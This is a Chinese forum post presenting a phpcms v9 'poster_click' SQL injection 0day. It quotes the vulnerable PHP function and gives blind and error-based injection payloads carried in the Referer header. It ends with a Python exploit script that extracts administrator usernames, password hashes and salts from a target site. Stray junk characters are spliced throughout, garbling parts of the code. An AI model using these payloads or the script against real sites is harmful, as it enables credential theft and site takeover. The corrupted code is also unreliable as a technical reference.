phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

2 B9 Q9 S7 H3 P" u问题函数\phpcms\modules\poster\index.php

public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
) k- R, j1 `' S/ ~$ c) m: r$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
! l" g/ X9 b  L$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$ p9 L+ }4 g1 L3 M" q& g$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
4 y, p# i% P( K( K+ h7 Y} else {
$ n7 x7 l" t: b) V" o9 R$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
1 V5 U- I/ `2 {}
header('Location: '.$url);
}
- S3 N' Y, w: _: ^0 ~: ^3 _
* X: I1 u! [) U
% ~9 e' s. T7 `3 u* U6 a( g; e9 O0 x
利用方式：

4 i8 k! d/ ~: h1 f5 D# q( b8 h1、可以采用盲注入的手法：
$ R" U- S: H2 _9 h- v+ R! k- A; h
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
0 G" [5 m/ K, Z' v" e
通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：
* p8 E; p' v: [% f# Z% U/ c
/ v1 F2 G6 Z9 @- D( n( ^+ `/ ?6 B& a6 i1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。

1 Q, O0 @5 X6 L. A; p

利用程序:

#!/usr/bin/env python
# X9 }% h8 D  S6 o6 R; T* |8 V! [import httplib,sys,re

$ X! N8 [5 L. ~; {. Adef attack():
, \' I: g, w: Eprint “Code by Pax.Mac Team conqu3r!”
7 ^4 [3 m& t) U6 Cprint “Welcome to our zone!!!”
url=sys.argv[1]
/ z5 }! Z+ j4 d* Bpaths=sys.argv[2]
conn = httplib.HTTPConnection(url)
% L" E, I4 C9 _# v1 U4 x# L% Yi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
  F  Z1 y: e: E- o, @conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
9 F% T( K! G0 p  X0 y% rr1 = conn.getresponse()
  d3 t0 c0 p7 x8 m( l) ^datas=r1.read()
  Y# p* K* p5 r$ L3 d2 B' @datas=re.findall(r”Duplicate entry \’\w+’”, datas)
print datas[0]
4 v1 ~' ]7 Y) Dconn.close()
, j- C* i/ B+ A( M/ g* v9 Hif __name__==”__main__”:
if len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
print “Usgae:”
print “    phpcmsattack.py   www.paxmac.org /”
% `& }1 u- @7 i$ z4 [% u1 n' ?print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
sys.exit(1)
5 K; Q* O3 W0 n; l: `! k; [4 U. Xattack()
9 M4 J: d6 F) P- m
& p; _9 u6 U/ u3 {